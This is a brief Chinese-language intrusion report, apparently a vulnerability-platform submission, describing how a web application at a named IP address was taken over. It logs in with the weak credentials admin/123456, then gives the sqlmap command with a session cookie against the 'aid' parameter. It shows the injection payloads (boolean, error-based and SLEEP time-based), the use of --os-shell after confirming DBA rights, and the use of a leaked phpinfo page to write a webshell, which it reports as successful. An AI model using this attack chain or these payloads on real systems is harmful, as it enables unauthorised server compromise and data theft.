getshell

详细说明:

http://106.3.36.125/dgws/
弱口令
账号admin 密码 123456进入后台

然后找到一处注入
http://106.3.36.125/dgws/home/appointment/newapp?aid=426
直接丢入SQLmap

sqlmap.py -u"http://106.3.36.125/dgws/home/appointment/newapp?aid=
426" --cookie="PHPSESSID=43rfrqi3i9i311ohmrh1ecjrm2" --is-dba


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: aid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: aid=426' AND 1870=1870 AND 'ahYx'='ahYx
Type: error-based

T (ELT(2724=2724,1))),0x717a786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTE
R_SETS GROUP BY x)a) AND 'GsVR'='GsVR

Payload: aid=426';(SELECT * FROM (SELECT(SLEEP(5)))JcBe)#
Type: AND/OR time-based blind

Payload: aid=426' AND (SELECT * FROM (SELECT(SLEEP(5)))kryP) AND 'nOEp'='nOEp

看了一眼,是DBA用户,应该可以写shell 于是--os-shell,找了一下路径
http://106.3.36.125/phpinfo.php
正好看见有一个info泄露,开始写Shell

发现写不进去,于是用外部链接数据库编码写shell

成功拿到shell
